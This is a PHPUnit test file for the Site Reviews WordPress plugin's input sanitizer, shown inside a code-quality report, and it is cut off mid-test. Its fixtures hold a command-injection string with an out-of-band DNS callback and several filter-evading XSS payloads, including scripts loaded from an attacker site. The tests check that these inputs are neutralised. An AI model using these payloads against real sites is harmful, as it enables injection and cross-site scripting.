Passed
Branch develop (bae466)
by Paul
06:12
created

SanitizerTest   B

Complexity

Total Complexity 37

Size/Duplication

Total Lines 1725
Duplicated Lines 0 %

Importance

Changes 0
Metric Value
wmc 37
eloc 1190
dl 0
loc 1725
rs 8.28
c 0
b 0
f 0

36 Methods

Rating   Name   Duplication   Size   Complexity  
A set_up() 0 40 1
A test_sanitize_text_html() 0 45 1
A test_sanitize_user_email() 0 40 1
A test_sanitize_slug() 0 40 1
A test_sanitize_min_max() 0 40 1
A test_sanitize_text_post() 0 40 1
A test_sanitize_user_id() 0 85 1
B test_sanitize_date() 0 79 1
A test_sanitize_term_ids() 0 50 1
A test_sanitize_name() 0 40 1
A sanitize() 0 7 2
B test_sanitize_version() 0 63 1
A test_sanitize_key() 0 40 1
A test_sanitize_email() 0 40 1
A test_sanitize_numeric() 0 40 1
A test_sanitize_max() 0 40 1
A test_sanitize_regex() 0 42 1
A test_sanitize_min() 0 40 1
A test_sanitize_user_name() 0 45 1
A test_sanitize_attr_class() 0 40 1
A test_sanitize_post_ids() 0 50 1
A test_sanitize_rating() 0 42 1
A test_sanitize_array_consolidate() 0 40 1
A test_sanitize_array_int() 0 40 1
A test_sanitize_text() 0 40 1
A test_sanitize_attr() 0 40 1
A test_sanitize_attr_style() 0 55 1
B test_sanitize_ip_address() 0 59 1
A test_sanitize_id() 0 40 1
A test_sanitize_id_unique() 0 42 1
A test_sanitize_url() 0 40 1
A test_sanitize_json() 0 40 1
A test_sanitize_text_multiline() 0 40 1
B test_sanitize_color() 0 63 1
A test_sanitize_user_ids() 0 51 1
A test_sanitize_array_string() 0 40 1
1
<?php
2
3
namespace GeminiLabs\SiteReviews\Tests;
4
5
use GeminiLabs\SiteReviews\Modules\Sanitizer;
6
7
/**
8
 * Test case for the Plugin.
9
 *
10
 * @group plugin
11
 */
12
class SanitizerTest extends \WP_UnitTestCase
0 ignored issues
show
Bug introduced by
The type WP_UnitTestCase was not found. Maybe you did not declare it correctly or list all dependencies?

The issue could also be caused by a filter entry in the build configuration. If the path has been excluded in your configuration, e.g. excluded_paths: ["lib/*"], you can move it to the dependency path list as follows:

filter:
    dependency_paths: ["lib/*"]

For further information see https://scrutinizer-ci.com/docs/tools/php/php-scrutinizer/#list-dependency-paths

Loading history...
13
{
14
    protected $testValues;
15
16
    public function set_up()
17
    {
18
        parent::set_up();
19
        $this->testValues = [
20
            '',
21
            'abc',
22
            ['1'],
23
            ['a' => false],
24
            [13],
25
            [0],
26
            ['1' => 13],
27
            (object) ['b' => true],
28
            true,
29
            false,
30
            '<script>var x = 23;</script>',
31
            "<h3>This is a\n title!</h3>",
32
            ";(nslookup hit-gx_wgukmocpc5c8dddd.com||perl -e gethostbyname('hissstgxwgukmocpc5c80.me'))",
33
            'June 13, 1989',
34
            '03-12-2020',
35
            '0-0-2020',
36
            '2020',
37
            '李祖阳 xx xx',
38
            '#ax+dex(tomorrow) $200 200% @peter',
39
            'this is true',
40
            'single-review full-width" onmouseover="alert(69)',
41
            '[email protected]',
42
            'https//wordpress.org',
43
            'wordpress.org',
44
            'www.wordpress.org',
45
            'https://wordpress.org',
46
            -1,
47
            '<div><span><a id="xxx" href="https://apple.com" title="hello" target="_blank"><span>Hello</span></a> this is <em>a link</em> and a <strong>link</strong></span></div><ul><li></li></ul>',
48
            '<img sr<img src="x">c=x onerror=alert(55)>',
49
            '<script sr<img src="x">c=https://attackersite.com/test.js>',
50
            '&lt;img src=x alert(55)&gt;',
51
            '&amp;lt;script src=https://attackersite.com/test.js&amp;gt;',
52
            '&amp;lt;iframe src=javascript:alert(1)&amp;gt;',
53
            '<noscript> &amp;lt;p title=" &lt;/noscript&gt;&lt;style onload= alert(document.domain)//&quot;&gt; *{/*all*/color/*all*/:/*all*/#f78fb3/*all*/;} &lt;/style&gt;',
54
            '&amp;amp;amp;amp;amp;amp;amp;amp;lt;img src ooooonerror=nerror=nerror=nerror=nerror=alert(/XSS-Img/)&amp;amp;amp;amp;amp;amp;amp;amp;gt;',
55
            '&amp;amp;amp;amp;amp;amp;amp;amp;lt;iframe src=javascript:alert(/XSS-iFrame)&amp;amp;amp;amp;amp;amp;amp;amp;gt;',
56
        ];
57
    }
58
59
    public function test_sanitize_array_consolidate()
60
    {
61
        $sanitized = $this->sanitize('array-consolidate');
62
        $this->assertEquals($sanitized, [
63
            [],
64
            [],
65
            ['1'],
66
            ['a' => false],
67
            [13],
68
            [0],
69
            ['1' => 13],
70
            ['b' => true],
71
            [],
72
            [],
73
            [],
74
            [],
75
            [],
76
            [],
77
            [],
78
            [],
79
            [],
80
            [],
81
            [],
82
            [],
83
            [],
84
            [],
85
            [],
86
            [],
87
            [],
88
            [],
89
            [],
90
            [],
91
            [],
92
            [],
93
            [],
94
            [],
95
            [],
96
            [],
97
            [],
98
            [],
99
        ]);
100
    }
101
102
    public function test_sanitize_array_int()
103
    {
104
        $sanitized = $this->sanitize('array-int');
105
        $this->assertEquals($sanitized, [
106
            [],
107
            [],
108
            [1],
109
            [],
110
            [13],
111
            [],
112
            [13],
113
            [],
114
            [],
115
            [],
116
            [],
117
            [],
118
            [],
119
            [1989],
120
            [],
121
            [],
122
            [2020],
123
            [],
124
            [],
125
            [],
126
            [],
127
            [],
128
            [],
129
            [],
130
            [],
131
            [],
132
            [],
133
            [],
134
            [],
135
            [],
136
            [],
137
            [],
138
            [],
139
            [],
140
            [],
141
            [],
142
        ]);
143
    }
144
145
    public function test_sanitize_array_string()
146
    {
147
        $sanitized = $this->sanitize('array-string');
148
        $this->assertEquals($sanitized, [
149
            [],
150
            ['abc'],
151
            ['1'],
152
            [],
153
            [],
154
            [],
155
            [],
156
            [],
157
            [],
158
            [],
159
            [''],
160
            ['This is a title!'],
161
            [";(nslookup hit-gx_wgukmocpc5c8dddd.com||perl -e gethostbyname('hissstgxwgukmocpc5c80.me'))"],
162
            ['June 13', '1989'],
163
            ['03-12-2020'],
164
            ['0-0-2020'],
165
            ['2020'],
166
            ['李祖阳 xx xx'],
167
            ['#ax+dex(tomorrow) $200 200% @peter'],
168
            ['this is true'],
169
            ['single-review full-width" "alert(69)'],
170
            ['[email protected]'],
171
            ['https//wordpress.org'],
172
            ['wordpress.org'],
173
            ['www.wordpress.org'],
174
            ['https://wordpress.org'],
175
            ['-1'],
176
            ['Hello this is a link and a link'],
177
            [''],
178
            [''],
179
            [''],
180
            [''],
181
            [''],
182
            [''],
183
            [''],
184
            [''],
185
        ]);
186
    }
187
188
    public function test_sanitize_attr()
189
    {
190
        $sanitized = $this->sanitize('attr');
191
        $this->assertEquals($sanitized, [
192
            '',
193
            'abc',
194
            '1',
195
            '',
196
            '13',
197
            '0',
198
            '13',
199
            '',
200
            '1',
201
            '',
202
            '&lt;script&gt;var x = 23;&lt;/script&gt;',
203
            "&lt;h3&gt;This is a\n title!&lt;/h3&gt;",
204
            ';(nslookup hit-gx_wgukmocpc5c8dddd.com||perl -e gethostbyname(&#039;hissstgxwgukmocpc5c80.me&#039;))',
205
            'June 13, 1989',
206
            '03-12-2020',
207
            '0-0-2020',
208
            '2020',
209
            '李祖阳 xx xx',
210
            '#ax+dex(tomorrow) $200 200% @peter',
211
            'this is true',
212
            'single-review full-width&quot; onmouseover=&quot;alert(69)',
213
            '[email protected]',
214
            'https//wordpress.org',
215
            'wordpress.org',
216
            'www.wordpress.org',
217
            'https://wordpress.org',
218
            '-1',
219
            '&lt;div&gt;&lt;span&gt;&lt;a id=&quot;xxx&quot; href=&quot;https://apple.com&quot; title=&quot;hello&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Hello&lt;/span&gt;&lt;/a&gt; this is &lt;em&gt;a link&lt;/em&gt; and a &lt;strong&gt;link&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;/li&gt;&lt;/ul&gt;',
220
            '&lt;img sr&lt;img src=&quot;x&quot;&gt;c=x onerror=alert(55)&gt;',
221
            '&lt;script sr&lt;img src=&quot;x&quot;&gt;c=https://attackersite.com/test.js&gt;',
222
            '&lt;img src=x alert(55)&gt;',
223
            '&amp;lt;script src=https://attackersite.com/test.js&amp;gt;',
224
            '&amp;lt;iframe src=javascript:alert(1)&amp;gt;',
225
            '&lt;noscript&gt; &amp;lt;p title=&quot; &lt;/noscript&gt;&lt;style onload= alert(document.domain)//&quot;&gt; *{/*all*/color/*all*/:/*all*/#f78fb3/*all*/;} &lt;/style&gt;',
226
            '&amp;amp;amp;amp;amp;amp;amp;amp;lt;img src ooooonerror=nerror=nerror=nerror=nerror=alert(/XSS-Img/)&amp;amp;amp;amp;amp;amp;amp;amp;gt;',
227
            '&amp;amp;amp;amp;amp;amp;amp;amp;lt;iframe src=javascript:alert(/XSS-iFrame)&amp;amp;amp;amp;amp;amp;amp;amp;gt;',
228
        ]);
229
    }
230
231
    public function test_sanitize_attr_class()
232
    {
233
        $sanitized = $this->sanitize('attr-class');
234
        $this->assertEquals($sanitized, [
235
            '',
236
            'abc',
237
            '',
238
            '',
239
            '',
240
            '',
241
            '',
242
            '',
243
            '',
244
            '',
245
            'script scriptvar x',
246
            'a h3This is titleh3',
247
            '-e gethostbynamehissstgxwgukmocpc5c80me hit-gx_wgukmocpc5c8ddddcomperl nslookup',
248
            'June',
249
            '-12-2020',
250
            '-0-2020',
251
            '',
252
            'xx',
253
            'axdextomorrow peter',
254
            'is this true',
255
            'full-width onmouseoveralert69 single-review',
256
            'mattwordpressorg',
257
            'httpswordpressorg',
258
            'wordpressorg',
259
            'wwwwordpressorg',
260
            'https:wordpressorg',
261
            '-1',
262
            'a and divspana ema hrefhttps:applecom idxxx is linkem stronglinkstrongspandivulliliul target_blankspanHellospana this titlehello',
263
            'img onerroralert55 srcxcx srimg',
264
            'script srcxchttps:attackersitecomtestjs srimg',
265
            'alert55gt ltimg srcx',
266
            'ampltscript srchttps:attackersitecomtestjsampgt',
267
            'ampltiframe srcjavascript:alert1ampgt',
268
            'alertdocumentdomainquotgt allcolorall:allf78fb3all ampltp ltnoscriptgtltstyle ltstylegt noscript onload title',
269
            'ampampampampampampampampltimg ooooonerrornerrornerrornerrornerroralertXSS-Imgampampampampampampampampgt src',
270
            'ampampampampampampampampltiframe srcjavascript:alertXSS-iFrameampampampampampampampampgt',
271
        ]);
272
    }
273
274
    public function test_sanitize_attr_style()
275
    {
276
        $values = $this->testValues;
277
        $values[] = 'background-image: url(https://apple.com/image.jpg);';
278
        $values[] = 'color:red';
279
        $values[] = 'color:red;';
280
        $values[] = 'color: red; margin:0';
281
        $values[] = 'color: #000';
282
        $values[] = 'color: #000;margin';
283
        $values[] = 'color: #000 !important;';
284
        $sanitized = $this->sanitize('attr-style', $values);
285
        $this->assertEquals($sanitized, [
286
            '',
287
            '',
288
            '',
289
            '',
290
            '',
291
            '',
292
            '',
293
            '',
294
            '',
295
            '',
296
            '',
297
            '',
298
            '',
299
            '',
300
            '',
301
            '',
302
            '',
303
            '',
304
            '',
305
            '',
306
            '',
307
            '',
308
            '',
309
            '',
310
            '',
311
            '',
312
            '',
313
            '',
314
            '',
315
            '',
316
            '',
317
            '',
318
            '',
319
            '',
320
            '',
321
            '',
322
            'background-image:url(https://apple.com/image.jpg)',
323
            'color:red',
324
            'color:red',
325
            'color:red;margin:0',
326
            'color:#000',
327
            'color:#000',
328
            'color:#000 !important',
329
        ]);
330
    }
331
332
    public function test_sanitize_color()
333
    {
334
        $values = $this->testValues;
335
        $values[] = '#';
336
        $values[] = '#1';
337
        $values[] = '#11';
338
        $values[] = '#111';
339
        $values[] = 'rgb()';
340
        $values[] = 'rgb(0 0 0)';
341
        $values[] = 'rgb(0,0,0)';
342
        $values[] = 'rgba(0,0,0)';
343
        $values[] = 'rgba(0,0,0,99)';
344
        $values[] = 'rgba(0 0 0 / .2)';
345
        $values[] = 'rgba(0,0,0,1)';
346
        $sanitized = $this->sanitize('color', $values);
347
        $this->assertEquals($sanitized, [
348
            '',
349
            '',
350
            '',
351
            '',
352
            '',
353
            '',
354
            '',
355
            '',
356
            '',
357
            '',
358
            '',
359
            '',
360
            '',
361
            '',
362
            '',
363
            '',
364
            '',
365
            '',
366
            '',
367
            '',
368
            '',
369
            '',
370
            '',
371
            '',
372
            '',
373
            '',
374
            '',
375
            '',
376
            '',
377
            '',
378
            '',
379
            '',
380
            '',
381
            '',
382
            '',
383
            '',
384
            '',
385
            '',
386
            '',
387
            '#111',
388
            '',
389
            '',
390
            'rgb(0,0,0)',
391
            '',
392
            '',
393
            '',
394
            'rgba(0,0,0,1)',
395
        ]);
396
    }
397
398
    public function test_sanitize_date()
399
    {
400
        $sanitized = $this->sanitize('date');
401
        $this->assertEquals($sanitized, [
402
            '',
403
            '',
404
            '',
405
            '',
406
            '',
407
            '',
408
            '',
409
            '',
410
            '',
411
            '',
412
            '',
413
            '',
414
            '',
415
            '1989-06-13 00:00:00',
416
            '2020-12-03 00:00:00',
417
            '2019-11-30 00:00:00',
418
            wp_date('Y-m-d H:i:s', strtotime('2020')),
419
            '',
420
            '',
421
            '',
422
            '',
423
            '',
424
            '',
425
            '',
426
            '',
427
            '',
428
            wp_date('Y-m-d H:i:s', strtotime('-1')),
429
            '',
430
            '',
431
            '',
432
            '',
433
            '',
434
            '',
435
            '',
436
            '',
437
            '',
438
        ]);
439
        $sanitized = $this->sanitize('date:Y-m-d');
440
        $this->assertEquals($sanitized, [
441
            '',
442
            '',
443
            '',
444
            '',
445
            '',
446
            '',
447
            '',
448
            '',
449
            '',
450
            '',
451
            '',
452
            '',
453
            '',
454
            '1989-06-13',
455
            '2020-12-03',
456
            '2019-11-30',
457
            wp_date('Y-m-d', strtotime('2020')),
458
            '',
459
            '',
460
            '',
461
            '',
462
            '',
463
            '',
464
            '',
465
            '',
466
            '',
467
            wp_date('Y-m-d', strtotime('-1')),
468
            '',
469
            '',
470
            '',
471
            '',
472
            '',
473
            '',
474
            '',
475
            '',
476
            '',
477
        ]);
478
    }
479
480
    public function test_sanitize_email()
481
    {
482
        $sanitized = $this->sanitize('email');
483
        $this->assertEquals($sanitized, [
484
            '',
485
            '',
486
            '',
487
            '',
488
            '',
489
            '',
490
            '',
491
            '',
492
            '',
493
            '',
494
            '',
495
            '',
496
            '',
497
            '',
498
            '',
499
            '',
500
            '',
501
            '',
502
            '',
503
            '',
504
            '',
505
            '[email protected]',
506
            '',
507
            '',
508
            '',
509
            '',
510
            '',
511
            '',
512
            '',
513
            '',
514
            '',
515
            '',
516
            '',
517
            '',
518
            '',
519
            '',
520
        ]);
521
    }
522
523
    public function test_sanitize_id()
524
    {
525
        $sanitized = $this->sanitize('id');
526
        $this->assertEquals($sanitized, [
527
            '',
528
            'abc',
529
            '',
530
            '',
531
            '',
532
            '',
533
            '',
534
            '',
535
            '',
536
            '',
537
            '',
538
            'thisisatitle',
539
            'nslookuphit-gx_wgukmocpc5c8ddddc',
540
            'june131989',
541
            '-12-2020',
542
            '-0-2020',
543
            '',
544
            'xxxx',
545
            'axdextomorrow200200peter',
546
            'thisistrue',
547
            'single-reviewfull-widthalert69',
548
            'mattwordpressorg',
549
            'httpswordpressorg',
550
            'wordpressorg',
551
            'wwwwordpressorg',
552
            'httpswordpressorg',
553
            '-1',
554
            'hellothisisalinkandalink',
555
            '',
556
            '',
557
            '',
558
            '',
559
            '',
560
            '',
561
            '',
562
            '',
563
        ]);
564
    }
565
566
    public function test_sanitize_id_unique()
567
    {
568
        $sanitized = glsr(Sanitizer::class)->sanitizeIdUnique('', 'form_');
569
        $this->assertMatchesRegularExpression('/form_([a-z0-9]{8})/', $sanitized);
570
        $sanitized = $this->sanitize('id-unique');
571
        $pattern = '/glsr_([a-z0-9]{8})/';
572
        $this->assertMatchesRegularExpression($pattern, $sanitized[0]);
573
        $this->assertEquals($sanitized[1], 'abc');
574
        $this->assertMatchesRegularExpression($pattern, $sanitized[2]);
575
        $this->assertMatchesRegularExpression($pattern, $sanitized[3]);
576
        $this->assertMatchesRegularExpression($pattern, $sanitized[4]);
577
        $this->assertMatchesRegularExpression($pattern, $sanitized[5]);
578
        $this->assertMatchesRegularExpression($pattern, $sanitized[6]);
579
        $this->assertMatchesRegularExpression($pattern, $sanitized[7]);
580
        $this->assertMatchesRegularExpression($pattern, $sanitized[8]);
581
        $this->assertMatchesRegularExpression($pattern, $sanitized[9]);
582
        $this->assertMatchesRegularExpression($pattern, $sanitized[10]);
583
        $this->assertEquals($sanitized[11], 'thisisatitle');
584
        $this->assertEquals($sanitized[12], 'nslookuphit-gx_wgukmocpc5c8ddddc');
585
        $this->assertEquals($sanitized[13], 'june131989');
586
        $this->assertEquals($sanitized[14], '-12-2020');
587
        $this->assertEquals($sanitized[15], '-0-2020');
588
        $this->assertMatchesRegularExpression($pattern, $sanitized[16]);
589
        $this->assertEquals($sanitized[17], 'xxxx');
590
        $this->assertEquals($sanitized[18], 'axdextomorrow200200peter');
591
        $this->assertEquals($sanitized[19], 'thisistrue');
592
        $this->assertEquals($sanitized[20], 'single-reviewfull-widthalert69');
593
        $this->assertEquals($sanitized[21], 'mattwordpressorg');
594
        $this->assertEquals($sanitized[22], 'httpswordpressorg');
595
        $this->assertEquals($sanitized[23], 'wordpressorg');
596
        $this->assertEquals($sanitized[24], 'wwwwordpressorg');
597
        $this->assertEquals($sanitized[25], 'httpswordpressorg');
598
        $this->assertEquals($sanitized[26], '-1');
599
        $this->assertEquals($sanitized[27], 'hellothisisalinkandalink');
600
        $this->assertMatchesRegularExpression($pattern, $sanitized[28]);
601
        $this->assertMatchesRegularExpression($pattern, $sanitized[29]);
602
        $this->assertMatchesRegularExpression($pattern, $sanitized[30]);
603
        $this->assertMatchesRegularExpression($pattern, $sanitized[31]);
604
        $this->assertMatchesRegularExpression($pattern, $sanitized[32]);
605
        $this->assertMatchesRegularExpression($pattern, $sanitized[33]);
606
        $this->assertMatchesRegularExpression($pattern, $sanitized[34]);
607
        $this->assertMatchesRegularExpression($pattern, $sanitized[35]);
608
    }
609
610
    public function test_sanitize_ip_address()
611
    {
612
        $values = $this->testValues;
613
        $values[] = '127*';
614
        $values[] = '127.*';
615
        $values[] = '127.0.*';
616
        $values[] = '127.0.0.*';
617
        $values[] = '127.0.0.1';
618
        $values[] = '103.21.244.0/22';
619
        $values[] = '2400:cb00';
620
        $values[] = '2400:cb00::';
621
        $values[] = '2400:cb00::/32';
622
        $sanitized = $this->sanitize('ip-address', $values);
623
        $this->assertEquals($sanitized, [
624
            '',
625
            '',
626
            '',
627
            '',
628
            '',
629
            '',
630
            '',
631
            '',
632
            '',
633
            '',
634
            '',
635
            '',
636
            '',
637
            '',
638
            '',
639
            '',
640
            '',
641
            '',
642
            '',
643
            '',
644
            '',
645
            '',
646
            '',
647
            '',
648
            '',
649
            '',
650
            '',
651
            '',
652
            '',
653
            '',
654
            '',
655
            '',
656
            '',
657
            '',
658
            '',
659
            '',
660
            '',
661
            '',
662
            '',
663
            '',
664
            '127.0.0.1',
665
            '',
666
            '',
667
            '2400:cb00::',
668
            '',
669
        ]);
670
    }
671
672
    public function test_sanitize_json()
673
    {
674
        $sanitized = $this->sanitize('json');
675
        $this->assertEquals($sanitized, [
676
            [],
677
            [],
678
            ['1'],
679
            ['a' => false],
680
            [13],
681
            [0],
682
            [1 => 13],
683
            ['b' => true],
684
            [],
685
            [],
686
            [],
687
            [],
688
            [],
689
            [],
690
            [],
691
            [],
692
            [],
693
            [],
694
            [],
695
            [],
696
            [],
697
            [],
698
            [],
699
            [],
700
            [],
701
            [],
702
            [],
703
            [],
704
            [],
705
            [],
706
            [],
707
            [],
708
            [],
709
            [],
710
            [],
711
            [],
712
        ]);
713
    }
714
715
    public function test_sanitize_key()
716
    {
717
        $sanitized = $this->sanitize('key');
718
        $this->assertEquals($sanitized, [
719
            '',
720
            'abc',
721
            '1',
722
            '',
723
            '13',
724
            '0',
725
            '13',
726
            '',
727
            '1',
728
            '',
729
            '',
730
            'thisisatitle',
731
            'nslookuphit_gx_wgukmocpc5c8ddddc',
732
            'june131989',
733
            '03_12_2020',
734
            '0_0_2020',
735
            '2020',
736
            'xxxx',
737
            'axdextomorrow200200peter',
738
            'thisistrue',
739
            'single_reviewfull_widthalert69',
740
            'mattwordpressorg',
741
            'httpswordpressorg',
742
            'wordpressorg',
743
            'wwwwordpressorg',
744
            'httpswordpressorg',
745
            '_1',
746
            'hellothisisalinkandalink',
747
            '',
748
            '',
749
            '',
750
            '',
751
            '',
752
            '',
753
            '',
754
            '',
755
        ]);
756
    }
757
758
    public function test_sanitize_max()
759
    {
760
        $sanitized = $this->sanitize('max:21');
761
        $this->assertEquals($sanitized, [
762
            0,
763
            0,
764
            0,
765
            0,
766
            0,
767
            0,
768
            0,
769
            0,
770
            1,
771
            0,
772
            0,
773
            0,
774
            0,
775
            0,
776
            0,
777
            0,
778
            21,
779
            0,
780
            0,
781
            0,
782
            0,
783
            0,
784
            0,
785
            0,
786
            0,
787
            0,
788
            -1,
789
            0,
790
            0,
791
            0,
792
            0,
793
            0,
794
            0,
795
            0,
796
            0,
797
            0,
798
        ]);
799
    }
800
801
    public function test_sanitize_min()
802
    {
803
        $sanitized = $this->sanitize('min:13');
804
        $this->assertEquals($sanitized, [
805
            13,
806
            13,
807
            13,
808
            13,
809
            13,
810
            13,
811
            13,
812
            13,
813
            13,
814
            13,
815
            13,
816
            13,
817
            13,
818
            13,
819
            13,
820
            13,
821
            2020,
822
            13,
823
            13,
824
            13,
825
            13,
826
            13,
827
            13,
828
            13,
829
            13,
830
            13,
831
            13,
832
            13,
833
            13,
834
            13,
835
            13,
836
            13,
837
            13,
838
            13,
839
            13,
840
            13,
841
        ]);
842
    }
843
844
    public function test_sanitize_min_max()
845
    {
846
        $sanitized = $this->sanitize('min:3|max:50');
847
        $this->assertEquals($sanitized, [
848
            3,
849
            3,
850
            3,
851
            3,
852
            3,
853
            3,
854
            3,
855
            3,
856
            3,
857
            3,
858
            3,
859
            3,
860
            3,
861
            3,
862
            3,
863
            3,
864
            50,
865
            3,
866
            3,
867
            3,
868
            3,
869
            3,
870
            3,
871
            3,
872
            3,
873
            3,
874
            3,
875
            3,
876
            3,
877
            3,
878
            3,
879
            3,
880
            3,
881
            3,
882
            3,
883
            3,
884
        ]);
885
    }
886
887
    public function test_sanitize_name()
888
    {
889
        $sanitized = $this->sanitize('name');
890
        $this->assertEquals($sanitized, [
891
            '',
892
            'abc',
893
            '',
894
            '',
895
            '',
896
            '',
897
            '',
898
            '',
899
            '',
900
            '',
901
            '',
902
            'thisisatitle',
903
            'nslookuphit-gx_wgukmocpccddddcomperl-egethostbynamehissstgxwgukmocpccme',
904
            'june',
905
            '',
906
            '',
907
            '',
908
            'xxxx',
909
            'axdextomorrowpeter',
910
            'thisistrue',
911
            'single-reviewfull-widthalert',
912
            'mattwordpressorg',
913
            'httpswordpressorg',
914
            'wordpressorg',
915
            'wwwwordpressorg',
916
            'httpswordpressorg',
917
            '',
918
            'hellothisisalinkandalink',
919
            '',
920
            '',
921
            '',
922
            '',
923
            '',
924
            '',
925
            '',
926
            '',
927
        ]);
928
    }
929
930
    public function test_sanitize_numeric()
931
    {
932
        $sanitized = $this->sanitize('numeric');
933
        $this->assertEquals($sanitized, [
934
            '',
935
            '',
936
            '',
937
            '',
938
            '',
939
            '',
940
            '',
941
            '',
942
            '',
943
            '',
944
            '',
945
            '',
946
            '',
947
            '',
948
            '',
949
            '',
950
            '2020',
951
            '',
952
            '',
953
            '',
954
            '',
955
            '',
956
            '',
957
            '',
958
            '',
959
            '',
960
            '-1',
961
            '',
962
            '',
963
            '',
964
            '',
965
            '',
966
            '',
967
            '',
968
            '',
969
            '',
970
        ]);
971
    }
972
973
    public function test_sanitize_post_ids()
974
    {
975
        $posts = self::factory()->post->create_many(2);
976
        $values = $this->testValues;
977
        $values[] = $posts[0];
978
        $values[] = $posts;
979
        $values[] = implode(',', $posts);
980
        $values[] = array_diff([1, 2, 3, 4, 5, 6, 7, 8, 9], $posts);
981
        $sanitized = $this->sanitize('post-ids', $values);
982
        $this->assertEquals($sanitized, [
983
            [],
984
            [],
985
            [],
986
            [],
987
            [],
988
            [],
989
            [],
990
            [],
991
            [],
992
            [],
993
            [],
994
            [],
995
            [],
996
            [],
997
            [],
998
            [],
999
            [],
1000
            [],
1001
            [],
1002
            [],
1003
            [],
1004
            [],
1005
            [],
1006
            [],
1007
            [],
1008
            [],
1009
            [],
1010
            [],
1011
            [],
1012
            [],
1013
            [],
1014
            [],
1015
            [],
1016
            [],
1017
            [],
1018
            [],
1019
            [$posts[0]],
1020
            $posts,
1021
            $posts,
1022
            [],
1023
        ]);
1024
    }
1025
1026
    public function test_sanitize_rating()
1027
    {
1028
        add_filter('site-reviews/const/MAX_RATING', fn () => 5);
1029
        add_filter('site-reviews/const/MIN_RATING', '__return_zero');
1030
        $sanitized = $this->sanitize('rating');
1031
        $this->assertEquals($sanitized, [
1032
            0,
1033
            0,
1034
            0,
1035
            0,
1036
            0,
1037
            0,
1038
            0,
1039
            0,
1040
            1,
1041
            0,
1042
            0,
1043
            0,
1044
            0,
1045
            0,
1046
            0,
1047
            0,
1048
            5,
1049
            0,
1050
            0,
1051
            0,
1052
            0,
1053
            0,
1054
            0,
1055
            0,
1056
            0,
1057
            0,
1058
            0,
1059
            0,
1060
            0,
1061
            0,
1062
            0,
1063
            0,
1064
            0,
1065
            0,
1066
            0,
1067
            0,
1068
        ]);
1069
    }
1070
1071
    public function test_sanitize_regex()
1072
    {
1073
        $sanitized = $this->sanitize('regex');
1074
        $this->assertEquals(array_filter($sanitized), []);
1075
        $sanitized = $this->sanitize('regex:/[^\w\-]/');
1076
        $this->assertEquals($sanitized, [
1077
            '',
1078
            'abc',
1079
            '1',
1080
            '',
1081
            '13',
1082
            '0',
1083
            '13',
1084
            '',
1085
            '1',
1086
            '',
1087
            'scriptvarx23script',
1088
            'h3Thisisatitleh3',
1089
            'nslookuphit-gx_wgukmocpc5c8ddddcomperl-egethostbynamehissstgxwgukmocpc5c80me',
1090
            'June131989',
1091
            '03-12-2020',
1092
            '0-0-2020',
1093
            '2020',
1094
            'xxxx',
1095
            'axdextomorrow200200peter',
1096
            'thisistrue',
1097
            'single-reviewfull-widthonmouseoveralert69',
1098
            'mattwordpressorg',
1099
            'httpswordpressorg',
1100
            'wordpressorg',
1101
            'wwwwordpressorg',
1102
            'httpswordpressorg',
1103
            '-1',
1104
            'divspanaidxxxhrefhttpsapplecomtitlehellotarget_blankspanHellospanathisisemalinkemandastronglinkstrongspandivulliliul',
1105
            'imgsrimgsrcxcxonerroralert55',
1106
            'scriptsrimgsrcxchttpsattackersitecomtestjs',
1107
            'ltimgsrcxalert55gt',
1108
            'ampltscriptsrchttpsattackersitecomtestjsampgt',
1109
            'ampltiframesrcjavascriptalert1ampgt',
1110
            'noscriptampltptitleltnoscriptgtltstyleonloadalertdocumentdomainquotgtallcolorallallf78fb3allltstylegt',
1111
            'ampampampampampampampampltimgsrcooooonerrornerrornerrornerrornerroralertXSS-Imgampampampampampampampampgt',
1112
            'ampampampampampampampampltiframesrcjavascriptalertXSS-iFrameampampampampampampampampgt',
1113
        ]);
1114
    }
1115
1116
    public function test_sanitize_slug()
1117
    {
1118
        $sanitized = $this->sanitize('slug');
1119
        $this->assertEquals($sanitized, [
1120
            '',
1121
            'abc',
1122
            '1',
1123
            '',
1124
            '13',
1125
            '0',
1126
            '13',
1127
            '',
1128
            '1',
1129
            '',
1130
            '',
1131
            'this-is-a-title',
1132
            'nslookup-hit-gx_wgukmocpc5c8dddd-comperl-e-gethostbynamehissstgxwgukmocpc5c80-me',
1133
            'june-13-1989',
1134
            '03-12-2020',
1135
            '0-0-2020',
1136
            '2020',
1137
            '%e6%9d%8e%e7%a5%96%e9%98%b3-xx-xx',
1138
            'axdextomorrow-200-200-peter',
1139
            'this-is-true',
1140
            'single-review-full-width-alert69',
1141
            'mattwordpress-org',
1142
            'https-wordpress-org',
1143
            'wordpress-org',
1144
            'www-wordpress-org',
1145
            'https-wordpress-org',
1146
            '1',
1147
            'hello-this-is-a-link-and-a-link',
1148
            '',
1149
            '',
1150
            '',
1151
            '',
1152
            '',
1153
            '',
1154
            '',
1155
            '',
1156
        ]);
1157
    }
1158
1159
    public function test_sanitize_term_ids()
1160
    {
1161
        $terms = self::factory()->term->create_many(2, ['taxonomy' => glsr()->taxonomy]);
1162
        $values = $this->testValues;
1163
        $values[] = $terms[0];
1164
        $values[] = $terms;
1165
        $values[] = implode(',', $terms);
1166
        $values[] = array_diff([1, 2, 3, 4, 5, 6, 7, 8, 9], $terms);
1167
        $sanitized = $this->sanitize('term-ids', $values);
1168
        $this->assertEquals($sanitized, [
1169
            [],
1170
            [],
1171
            [],
1172
            [],
1173
            [],
1174
            [],
1175
            [],
1176
            [],
1177
            [],
1178
            [],
1179
            [],
1180
            [],
1181
            [],
1182
            [],
1183
            [],
1184
            [],
1185
            [],
1186
            [],
1187
            [],
1188
            [],
1189
            [],
1190
            [],
1191
            [],
1192
            [],
1193
            [],
1194
            [],
1195
            [],
1196
            [],
1197
            [],
1198
            [],
1199
            [],
1200
            [],
1201
            [],
1202
            [],
1203
            [],
1204
            [],
1205
            [$terms[0]],
1206
            $terms,
1207
            $terms,
1208
            [],
1209
        ]);
1210
    }
1211
1212
    public function test_sanitize_text()
1213
    {
1214
        $sanitized = $this->sanitize('text');
1215
        $this->assertEquals($sanitized, [
1216
            '',
1217
            'abc',
1218
            '1',
1219
            '',
1220
            '13',
1221
            '0',
1222
            '13',
1223
            '',
1224
            '1',
1225
            '',
1226
            '',
1227
            'This is a title!',
1228
            ";(nslookup hit-gx_wgukmocpc5c8dddd.com||perl -e gethostbyname('hissstgxwgukmocpc5c80.me'))",
1229
            'June 13, 1989',
1230
            '03-12-2020',
1231
